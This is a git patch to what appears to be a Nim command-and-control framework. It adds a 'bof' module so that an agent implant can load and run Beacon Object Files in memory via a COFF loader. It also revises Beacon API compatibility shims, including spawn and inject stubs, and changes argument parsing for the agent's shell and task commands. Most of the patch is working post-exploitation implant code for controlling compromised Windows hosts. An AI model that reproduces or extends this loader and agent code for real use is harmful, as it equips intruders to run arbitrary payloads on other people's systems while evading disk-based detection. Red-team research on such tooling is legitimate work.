From 4ceb756cfd8612149408c2fa680588fbf291ba4c Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Fri, 29 Aug 2025 15:58:26 +0200 Subject: [PATCH] Added 'bof' module for executing object files and fixed handling of optional arguments. --- src/agent/core/beacon.nim | 50 ++++++++++++------------ src/agent/core/coff.nim | 71 ++++++++++++++++------------------ src/agent/main.nim | 2 - src/common/types.nim | 1 + src/modules/bof.nim | 58 +++++++++++++++++++++++++++ src/modules/manager.nim | 4 +- src/modules/shell.nim | 8 ++-- src/server/protocol/parser.nim | 29 +++++++------- 8 files changed, 138 insertions(+), 85 deletions(-) create mode 100644 src/modules/bof.nim diff --git a/src/agent/core/beacon.nim b/src/agent/core/beacon.nim index ba30c67..e65b059 100644 --- a/src/agent/core/beacon.nim +++ b/src/agent/core/beacon.nim @@ -19,32 +19,32 @@ const type datap* {.bycopy,packed.} = object - original*: ptr char - buffer*: ptr char + original*: PCHAR + buffer*: PCHAR length*: int size*: int formatp* {.bycopy,packed.} = object - original*: ptr char - buffer*: ptr char + original*: PCHAR + buffer*: PCHAR length*: int size*: int # Reference: https://forum.nim-lang.org/t/7352 type va_list* {.importc: "va_list", header: "".} = object -proc va_start(format: va_list, args: ptr char) {.stdcall, importc, header: "stdio.h"} +proc va_start(format: va_list, args: PCHAR) {.stdcall, importc, header: "stdio.h"} proc va_end(ap: va_list) {.stdcall, importc, header: "stdio.h"} proc vprintf(format: cstring, args: va_list) {.stdcall, importc, header: "stdio.h"} proc vsnprintf(buffer: cstring; size: int; fmt: cstring; args: va_list): int {.stdcall, importc, dynlib: "msvcrt".} -var beaconCompatibilityOutput: ptr char = nil +var beaconCompatibilityOutput: PCHAR = nil var beaconCompatibilitySize: int = 0 var beaconCompatibilityOffset: int = 0 #[ Parsing ]# -proc BeaconDataParse(parser: ptr datap, buffer: ptr char, size: int): void {.stdcall.} = +proc BeaconDataParse(parser: ptr datap, buffer: PCHAR, size: int): void {.stdcall.} = if cast[uint64](parser) == 0: return @@ -87,13 +87,13 @@ proc BeaconDataLength(parser: ptr datap): int {.stdcall.} = return parser.length -proc BeaconDataExtract(parser: ptr datap, size: ptr int): ptr char {.stdcall.} = +proc BeaconDataExtract(parser: ptr datap, size: ptr int): PCHAR {.stdcall.} = if cast[uint64](parser) == 0: return var length: int32 = 0 - outData: ptr char = nil + outData: PCHAR = nil # Length of prefixed binary blob if parser.length < 4: @@ -118,7 +118,7 @@ proc BeaconFormatAlloc(format: ptr formatp, maxsz: int): void {.stdcall.} = if format == NULL: return - format.original = cast[ptr char](alloc(maxsz)) + format.original = cast[PCHAR](alloc(maxsz)) zeroMem(format.original, maxsz) format.buffer = format.original format.length = 0 @@ -144,7 +144,7 @@ proc BeaconFormatFree(format: ptr formatp): void {.stdcall.} = format.length = 0 format.size = 0 -proc BeaconFormatAppend(format: ptr formatp, text: ptr char, len: int): void {.stdcall.} = +proc BeaconFormatAppend(format: ptr formatp, text: PCHAR, len: int): void {.stdcall.} = if format == NULL or text == NULL: return @@ -152,7 +152,7 @@ proc BeaconFormatAppend(format: ptr formatp, text: ptr char, len: int): void {.s format.buffer += len format.length += len -proc BeaconFormatPrintf(format: ptr formatp, fmt: ptr char): void {.stdcall, varargs.} = +proc BeaconFormatPrintf(format: ptr formatp, fmt: PCHAR): void {.stdcall, varargs.} = if format == NULL or fmt == NULL: return @@ -172,7 +172,7 @@ proc BeaconFormatPrintf(format: ptr formatp, fmt: ptr char): void {.stdcall, var format.length += length format.buffer += length -proc BeaconFormatToString(format: ptr formatp, size: ptr int): ptr char {.stdcall.} = +proc BeaconFormatToString(format: ptr formatp, size: ptr int): PCHAR {.stdcall.} = if format == NULL or size == NULL: return @@ -205,12 +205,12 @@ proc BeaconFormatInt(format: ptr formatp, value: int): void = #[ Output functions ]# -proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} = +proc BeaconPrintf(typeArg: int, fmt: PCHAR):void{.stdcall, varargs.} = if fmt == NULL: return var length: int = 0 - var tempPtr: ptr char = nil + var tempPtr: PCHAR = nil var args: va_list va_start(args, fmt) vprintf(fmt, args) @@ -219,7 +219,7 @@ proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} = va_start(args, fmt) length = vsnprintf(NULL, 0, fmt, args) va_end(args) - tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + length + 1)) + tempPtr = cast[PCHAR](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + length + 1)) if tempPtr == nil: return beaconCompatibilityOutput = tempPtr @@ -230,12 +230,12 @@ proc BeaconPrintf(typeArg: int, fmt: ptr char):void{.stdcall, varargs.} = beaconCompatibilityOffset += length va_end(args) -proc BeaconOutput(typeArg: int, data: ptr char, len: int): void {.stdcall.} = +proc BeaconOutput(typeArg: int, data: PCHAR, len: int): void {.stdcall.} = if data == NULL: return - var tempPtr: ptr char = nil - tempPtr = cast[ptr char](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + len + 1)) + var tempPtr: PCHAR = nil + tempPtr = cast[PCHAR](realloc(beaconCompatibilityOutput,beaconCompatibilitySize + len + 1)) beaconCompatibilityOutput = tempPtr if tempPtr == nil: return @@ -263,7 +263,7 @@ proc BeaconIsAdmin(): BOOL {.stdcall.}= #[ Spawn+Inject Functions ]# -proc BeaconGetSpawnTo(x86: BOOL, buffer: ptr char, length: int): void {.stdcall.} = +proc BeaconGetSpawnTo(x86: BOOL, buffer: PCHAR, length: int): void {.stdcall.} = if buffer == NULL: return @@ -290,11 +290,11 @@ proc BeaconSpawnTemporaryProcess(x86: BOOL, ignoreToken: BOOL, sInfo: ptr STARTU return bSuccess -proc BeaconInjectProcess(hProc: HANDLE, pid: int, payload: ptr char, p_len: int, p_offset: int, arg: ptr char, a_len: int): void {.stdcall.} = +proc BeaconInjectProcess(hProc: HANDLE, pid: int, payload: PCHAR, p_len: int, p_offset: int, arg: PCHAR, a_len: int): void {.stdcall.} = # Not implemented return -proc BeaconInjectTemporaryProcess(pInfo: ptr PROCESS_INFORMATION, payload: ptr char, p_len: int, p_offset: int, arg: ptr char, a_len: int): void {.stdcall.} = +proc BeaconInjectTemporaryProcess(pInfo: ptr PROCESS_INFORMATION, payload: PCHAR, p_len: int, p_offset: int, arg: PCHAR, a_len: int): void {.stdcall.} = # Not implemented return @@ -305,12 +305,12 @@ proc BeaconCleanupProcess(pInfo: ptr PROCESS_INFORMATION): void {.stdcall.} = #[ Utility Functions ]# -proc toWideChar(src: ptr char, dst: ptr char, max: int): BOOL {.stdcall.} = +proc toWideChar(src: PCHAR, dst: PCHAR, max: int): BOOL {.stdcall.} = # Not implemented return FALSE -proc BeaconGetOutputData*(outSize: ptr int): ptr char {.stdcall.} = - var outData: ptr char = beaconCompatibilityOutput +proc BeaconGetOutputData*(outSize: ptr int): PCHAR {.stdcall.} = + var outData: PCHAR = beaconCompatibilityOutput if cast[uint64](outSize) != 0: outsize[] = beaconCompatibilitySize diff --git a/src/agent/core/coff.nim b/src/agent/core/coff.nim index 457a102..7ba0c23 100644 --- a/src/agent/core/coff.nim +++ b/src/agent/core/coff.nim @@ -1,7 +1,7 @@ import winim/lean import os, strformat, strutils, ptr_math import ./beacon -import ../../common/[types, utils] +import ../../common/[types, utils, serialize] #[ Object file loading involves the following steps @@ -262,8 +262,7 @@ proc objectProcessSection(objCtx: POBJECT_CTX): bool = Arguments: - objCtx: Object context - entry: Name of the entry function to be executed - - args: Pointer to the address of the arguments passed to the object file - - argc: Size of the arguments passed to the object file + - args: Arguments passed to the object file ]# proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool = @@ -300,7 +299,11 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool = # Execute BOF entry point var entryPoint = cast[EntryPoint](cast[uint](secBase) + cast[uint](objSym.Value)) - entryPoint(addr args[0], cast[ULONG](args.len())) + + if args.len > 0: + entryPoint(addr args[0], cast[ULONG](args.len())) + else: + entryPoint(NULL, 0) # Revert the memory protection change if VirtualProtect(secBase, secSize, oldProtect, addr oldProtect) == 0: @@ -314,12 +317,11 @@ proc objectExecute(objCtx: POBJECT_CTX, entry: PSTR, args: seq[byte]): bool = Loads, parses and executes a object file in memory Arguments: - - pObject: Base address of the object file in memory - - sFunction: Name of the function to be executed, usually "go" - - pArgs: Base address of the arguments to be passed to the function - - uArgc: Size of the arguments passed to the function + - objectFile: Bytes of the object file + - args: Bytes of the COFF arguments + - entryFunction: Name of the entry function to look for, usually "go" ]# -proc inlineExecute*(objectFile: seq[byte], args: seq[byte], entryFunction: string = "go"): bool = +proc inlineExecute*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: string = "go"): bool = var objCtx: OBJECT_CTX @@ -399,7 +401,14 @@ proc inlineExecute*(objectFile: seq[byte], args: seq[byte], entryFunction: strin return true -proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte], entryFunction: string = "go"): string = +#[ + Execute a object file in memory and retrieve the output using the BeaconGetOutputData API + Arguments: + - objectFile: Bytes of the object file + - args: Bytes of the COFF arguments + - entryFunction: Name of the entry function to look for, usually "go" +]# +proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte] = @[], entryFunction: string = "go"): string = if not inlineExecute(objectFile, args, entryFunction): raise newException(CatchableError, fmt"[-] Failed to inline-execute object file.") @@ -407,33 +416,21 @@ proc inlineExecuteGetOutput*(objectFile: seq[byte], args: seq[byte], entryFuncti var output = BeaconGetOutputData(NULL) return $output -proc HexStringToByteArray(hexString:string,hexLength:int):seq[byte] = - var returnValue:seq[byte] = @[] - for i in countup(0,hexLength-1,2): - try: - #cho hexString[i..i+1] - returnValue.add(fromHex[uint8](hexString[i..i+1])) - except ValueError: - return @[] - #fromHex[uint8] - return returnValue +#[ + Process the COFF arguments according to: + https://github.com/trustedsec/COFFLoader/blob/main/beacon_generate.py +]# +proc generateCoffArguments*(args: seq[TaskArg]): seq[byte] = + + var packer = Packer.init() + for arg in args: + packer.add(uint32(arg.data.len())) + packer.addData(arg.data) -proc test*() = + # Add terminating NULL byte to the end of string arguments + if arg.argType == uint8(types.STRING): + packer.add(uint8('\0')) - var - fileName = "dir.x64.o" - pObject = readFile(fileName) - uLength: ULONG = cast[ULONG](pObject.len) + let argBytes = packer.pack() - echo fmt"[+] Read file {fileName}: 0x{(addr pObject[0]).toHex()} (Size: {uLength} bytes)" - - try: - let args = "130000000f000000433a2f55736572732f6a616b6f6200" - let argsBuffer = HexStringToByteArray(args, args.len) - - echo $argsBuffer - - echo inlineExecuteGetOutput(string.toBytes(pObject), argsBuffer) - - except CatchableError as err: - echo "[-] ", err.msg \ No newline at end of file + return uint32.toBytes(uint32(argBytes.len())) & argBytes diff --git a/src/agent/main.nim b/src/agent/main.nim index 34a870c..e2fe8a7 100644 --- a/src/agent/main.nim +++ b/src/agent/main.nim @@ -70,6 +70,4 @@ proc main() = echo "[-] ", err.msg when isMainModule: - test() - quit(0) main() \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index a8c230d..2b91788 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -43,6 +43,7 @@ type CMD_PS = 9'u16 CMD_ENV = 10'u16 CMD_WHOAMI = 11'u16 + CMD_BOF = 12'u16 StatusType* = enum STATUS_COMPLETED = 0'u8 diff --git a/src/modules/bof.nim b/src/modules/bof.nim new file mode 100644 index 0000000..332e53f --- /dev/null +++ b/src/modules/bof.nim @@ -0,0 +1,58 @@ +import ../common/[types, utils] + +# Define function prototype +proc executeBof(ctx: AgentCtx, task: Task): TaskResult + +# Command definition (as seq[Command]) +let commands*: seq[Command] = @[ + Command( + name: protect("bof"), + commandType: CMD_BOF, + description: protect("Execute a object file in memory and retrieve the output."), + example: protect("bof /path/to/dir.x64.o C:\\Users"), + arguments: @[ + Argument(name: protect("path"), description: protect("Local path to the object file to execute."), argumentType: BINARY, isRequired: true), + Argument(name: protect("arguments"), description: protect("Arguments to be passed to the object file."), argumentType: STRING, isRequired: false) + ], + execute: executeBof + ) +] + +# Implement execution functions +when defined(server): + proc executeBof(ctx: AgentCtx, task: Task): TaskResult = nil + +when defined(agent): + + import osproc, strutils, strformat + import ../agent/core/coff + import ../agent/protocol/result + import ../common/utils + + proc executeBof(ctx: AgentCtx, task: Task): TaskResult = + try: + var + objectFile: seq[byte] + arguments: seq[byte] + + # Parse arguments + case int(task.argCount): + of 1: # Only the object file has been passed as an argument + objectFile = task.args[0].data + arguments = @[] + else: # The optional 'arguments' parameter was included + objectFile = task.args[0].data + + # Combine the passed arguments into a format that is understood by the Beacon API + arguments = generateCoffArguments(task.args[1..^1]) + + echo fmt" [>] Executing object file." + let output = inlineExecuteGetOutput(objectFile, arguments) + + if output != "": + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output)) + else: + return createTaskResult(task, STATUS_FAILED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg)) diff --git a/src/modules/manager.nim b/src/modules/manager.nim index c299055..ad50a3d 100644 --- a/src/modules/manager.nim +++ b/src/modules/manager.nim @@ -6,7 +6,8 @@ import shell, sleep, filesystem, - environment + environment, + bof type ModuleManager* = object @@ -26,6 +27,7 @@ proc loadModules*() = registerCommands(sleep.commands) registerCommands(filesystem.commands) registerCommands(environment.commands) + registerCommands(bof.commands) proc getCommandByType*(cmdType: CommandType): Command = return manager.commandsByType[cmdType] diff --git a/src/modules/shell.nim b/src/modules/shell.nim index a97530e..d22807b 100644 --- a/src/modules/shell.nim +++ b/src/modules/shell.nim @@ -39,11 +39,11 @@ when defined(agent): of 1: # Only the command has been passed as an argument command = Bytes.toString(task.args[0].data) arguments = "" - of 2: # The optional 'arguments' parameter was included + else: # The optional 'arguments' parameter was included command = Bytes.toString(task.args[0].data) - arguments = Bytes.toString(task.args[1].data) - else: - discard + + for arg in task.args[1..^1]: + arguments &= Bytes.toString(arg.data) & " " echo fmt" [>] Executing command: {command} {arguments}" diff --git a/src/server/protocol/parser.nim b/src/server/protocol/parser.nim index ec15b0f..57b38a5 100644 --- a/src/server/protocol/parser.nim +++ b/src/server/protocol/parser.nim @@ -1,5 +1,4 @@ -import strutils, times - +import strutils, sequtils, times import ../../common/[types, sequence, crypto, utils] proc parseInput*(input: string): seq[string] = @@ -63,12 +62,10 @@ proc parseArgument*(argument: Argument, value: string): TaskArg = raise newException(ValueError, "Invalid value for boolean argument.") of STRING: - arg.data = cast[seq[byte]](value) + arg.data = string.toBytes(value) of BINARY: - # Read file as binary stream - - discard + arg.data = string.toBytes(readFile(value)) return arg @@ -84,16 +81,16 @@ proc createTask*(cq: Conquest, command: Command, arguments: seq[string]): Task = var taskArgs: seq[TaskArg] - # Add the task arguments - for i, arg in command.arguments: - if i < arguments.len: - taskArgs.add(parseArgument(arg, arguments[i])) - else: - if arg.isRequired: - raise newException(ValueError, "Missing required argument.") - else: - # Handle optional argument - taskArgs.add(parseArgument(arg, "")) + # Add the task arguments + if arguments.len() < command.arguments.filterIt(it.isRequired).len(): + raise newException(CatchableError, "Missing required argument.") + + for i, arg in arguments: + if i < command.arguments.len(): + taskArgs.add(parseArgument(command.arguments[i], arg)) + else: + # Optional arguments should ALWAYS be placed at the end of the command and take the same definition + taskArgs.add(parseArgument(command.arguments[^1], arg)) task.args = taskArgs